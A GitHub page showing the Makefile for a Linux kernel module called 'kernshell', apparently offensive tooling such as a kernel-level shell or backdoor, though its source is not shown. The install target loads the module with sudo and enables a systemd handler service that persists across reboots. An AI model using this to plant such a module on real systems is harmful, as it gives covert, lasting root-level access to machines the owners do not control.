-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathMakefile
More file actions
32 lines (27 loc) · 1.07 KB
/
Makefile
File metadata and controls
32 lines (27 loc) · 1.07 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
obj-m = kernshell.o
MODULE_NAME = kernshell
KVERSION = $(shell uname -r)
all:
make -C /lib/modules/$(KVERSION)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(KVERSION)/build M=$(PWD) clean
install:
@echo ""
@echo "__ .__ .__ .__ "
@echo "| | __ ___________ ____ _____| |__ ____ | | | | "
@echo "| |/ // __ \_ __ \/ \ / ___/ | \_/ __ \| | | | "
@echo "| <\ ___/| | \/ | \\___ \| Y \ ___/| |_| |__"
@echo "|__|_ \\___ >__| |___| /____ >___| /\___ >____/____/"
@echo " \/ \/ \/ \/ \/ \/ "
@echo " Author: int0x80"
@echo "[+] Installing the module."
sudo cp $(MODULE_NAME).ko /lib/modules/$(KVERSION)
sudo depmod -a
sudo modprobe $(MODULE_NAME)
sudo cp ./kernshell-handler.service /etc/systemd/system/
sudo systemctl daemon-reload
sudo systemctl enable --now kernshell-handler.service
remove:
@echo "[+] Removing the kernel module."
sudo rm /lib/modules/$(KVERSION)/$(MODULE_NAME).ko
sudo rm /etc/systemd/system/kernshell-handler.service